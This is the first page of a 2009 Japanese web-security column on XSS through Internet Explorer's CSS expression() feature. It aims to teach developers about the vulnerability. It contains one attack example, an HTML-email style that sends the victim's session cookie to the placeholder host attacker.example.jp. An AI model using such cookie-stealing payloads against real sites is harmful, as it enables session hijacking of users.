[柔軟すぎる]IEのCSS解釈で起こるXSS教科書に載らないWebアプリケーションセキュリティ(3)(1/3 ページ)

XSSにCSRFにSQLインジェクションにディレクトリトラバーサル……Webアプリケーションのプログラマが知っておくべき脆弱性はいっぱいあります。そこで本連載では、そのようなメジャーなもの“以外”も掘り下げていきます (編集部)

» 2009年06月04日 00時00分 公開
[はせがわようすけネットエージェント株式会社]

なぜか奥深いIEのXSSの話

 皆さんこんにちは、はせがわようすけです。

 第1回「[これはひどい]IEの引用符の解釈」と第2回「[無視できない]IEのContent-Type無視」でInternet Explorer(IE)の独自の機能がクロスサイトスクリプティング(XSS:cross-site scripting)を引き起こす可能性があるということについて説明してきました。

 第3回でも引き続き、IE特有の機能がXSSを引き起こす例ということで、“スタイルシートを利用したクロスサイトスクリプティング”という攻撃方法を紹介しましょう。

スタイルシートを利用したXSSとは

 IEにおいてスタイルシート内にJavaScriptを含める方法はいくつかありますが、最も柔軟性が高いのは、「expression(JavaScript文)」という表記方法でしょう。IEではスタイルシート内にこのような記述を含めることで、スタイルの評価時にJavaScriptを実行させることができます。

 例えば、以下のように記述すれば、スタイルシートの評価のたびにJavaScriptが実行され、背景色を午前中は赤色に、午後は青色にすることができます。

<div style='background-color:expression(
       (function(){
           var now = new Date();
           if( now.hour < 12 ){
               return "red";
           }else{
               return "blue";
           }
       })()
)' >

 この例のように、自由にJavaScriptを記述することができるので、例えばWebメールなどのように、ユーザーからスタイルシートの入力を許容しているようなWebアプリケーションは、攻撃者に目を付けられることになります。

 仮に、攻撃者が以下のようなスタイルを指定したHTMLメールを被害者のWebメールアカウントあてに送ったとします。

<div style='background-color:expression(
"url(http://attacker.example.jp/?" + document.cookie + ")" )' >

 被害者がこのようなメールをWebブラウザ上で開くと、セッション情報を格納しているCookieの値が、攻撃者の用意したサーバに送られてしまうことになります。

       1|2|3 次のページへ

Copyright © ITmedia, Inc. All Rights Reserved.

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。